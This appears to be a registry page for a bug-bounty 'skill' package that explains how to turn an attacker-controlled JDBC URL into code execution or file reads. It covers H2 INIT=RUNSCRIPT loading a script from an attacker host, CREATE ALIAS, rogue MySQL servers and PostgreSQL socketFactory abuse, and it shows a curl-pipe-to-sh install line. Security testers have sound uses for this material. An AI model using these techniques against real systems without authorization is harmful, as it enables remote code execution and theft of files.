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How it works
noorqureshi/web-jdbc-attacksWeb and bug bounty

web-jdbc-attacks

⁨Turn an attacker-controllable database connection string / JDBC URL into RCE via the driver itself. Load when an app lets you set a DB host/URL/driver: a "test connection" form, a data-source config, an ETL/reporting/integration tool, or a processor that takes a JDBC URL. Signals: a jdbc: URL field,⁩

v2026.10.14-ee0e0c54 installs+4 in 7 days27 StarsMITsynced 22 hours ago

Install

No NotHoly CLI yet? Install it first.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/web-jdbc-attacks

Writes to ⁦~/.notholy/skills⁩ after checking the signature and the SHA-256.

SignatureSigned, ed25519
/W0XvoqvIh…FZGZqmDw==The CLI checks the SHA-256 and the signature before it writes a file.
Package6298725d…d408600e
6298725d9d84…8532d408600e1 file · ⁦1.9 KB⁩
ScanLow1 finding
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See the full scan
Sourcegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-jdbc-attacks@ee0e0c5

When it applies

An application lets you influence a database connection — a full JDBC URL, host/port, or driver properties — via a "test connection" button, a data-source/integration config, or a processor in an ETL/automation tool (NiFi, Mirth, reporting suites). The connection itself becomes the exploit: several JDBC drivers execute code or read files as a side effect of connecting.

Why it works

JDBC drivers do more than open a socket — they honor URL properties that were designed for convenience and are dangerous with an attacker-controlled URL. You don't need valid credentials to a real DB; you point the driver at your server (or an in-process engine) and let a driver feature run code in the app's JVM.

Method

  1. Find the controllable knob — a JDBC URL field, or host/params you can edit; a "test connection" action that dials out is ideal (blind-friendly, no data needed).
  2. Confirm outbound control — point it at a listener you own and watch for the driver's connection (OOB proof the URL is honored).
  3. Pick the driver primitive:
    • H2 — CREATE ALIAS maps a Java method to SQL, so INIT=RUNSCRIPT FROM 'http://you/x.sql' (or an inline CREATE ALIAS ... AS $$ ... $$) executes Java on connect → RCE in the JVM. A classic when an app lets you set an H2 JDBC URL (e.g. via a processor's connection pool).
    • MySQL (malicious server) — a rogue MySQL server + allowLoadLocalInfile=true / autoDeserialize=true / queryInterceptors can read client files or trigger deserialization gadget chains in the connecting app.
    • PostgreSQL / others — socketFactory/socketFactoryArg and similar properties can be abused to instantiate attacker-named classes.
  4. Escalate deserialization where the driver pulls objects — combine with web-deserialization gadget chains on the classpath.
  5. Report the impact, not the connection — RCE/file-read in the app context, validated per reporting-triage-validation.

Gotchas

  • No real DB required — the point is the driver's behavior; a "test connection" that "fails" may still have executed your INIT/read your file.
  • Property allow/deny lists vary by driver version — a blocked property (patched autoDeserialize) doesn't mean another (H2 INIT) is blocked.
  • Classpath decides deserialization impact — no gadget on the classpath, no RCE that way; pivot to a driver that runs code directly (H2).
  • Egress-filtered targets — favor in-process primitives (H2 inline CREATE ALIAS) over fetch-from-URL when the app can't reach you.

Verify success

Code execution or file read in the application's JVM/host from a connection you controlled (e.g. an H2 CREATE ALIAS command runs, or an OOB hit + a returned file), not merely a reflected error.

References

"Make JDBC Attacks Brilliant Again" research; H2 CREATE ALIAS/INIT docs; MySQL JDBC client properties; CWE-502/94. Related: web-deserialization, web-ssrf.

Files in this version

Permissions

PermissionDeclaredFound by the scan
Reads filesNoNo
Writes filesNoNo
Runs shell commandsNoNo
Uses the networkYesYes
Uses connectorsNoNo
Drives a browserNoNo

Scan findings

Reviewed on Nov 13, 2026

  1. InfoLink · Links to outside domains

A clean scan lowers the risk but does not prove a package is safe. Read what you install.

VersionPublishedCommitSHA-256SignaturePermission change
v2026.10.14-ee0e0c5Nov 13, 2026ee0e0c56298725dSigned–

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